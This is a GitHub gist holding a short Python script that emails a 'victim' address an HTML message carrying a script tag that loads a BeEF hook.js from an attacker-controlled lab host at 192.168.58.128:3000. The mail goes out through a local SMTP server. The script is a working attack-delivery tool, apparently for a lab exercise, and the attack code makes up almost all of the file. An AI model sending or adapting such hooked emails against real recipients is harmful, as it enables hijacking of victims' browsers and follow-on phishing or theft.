Created
January 23, 2014 04:42
-
-
Save dave5623/8572950 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import smtplib | |
email_addr = 'victim@test.local' | |
email = 'From: %s\n' % email_addr | |
email += 'To: %s\n' % email_addr | |
email += 'Subject: BEEF\n' | |
email += 'Content-type: text/html\n\n' | |
email += '<script src="http://192.168.58.128:3000/hook.js"></script>' | |
s = smtplib.SMTP('192.168.58.140', 25) | |
s.login(email_addr, "password") | |
s.sendmail(email_addr, email_addr, email) | |
s.quit() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment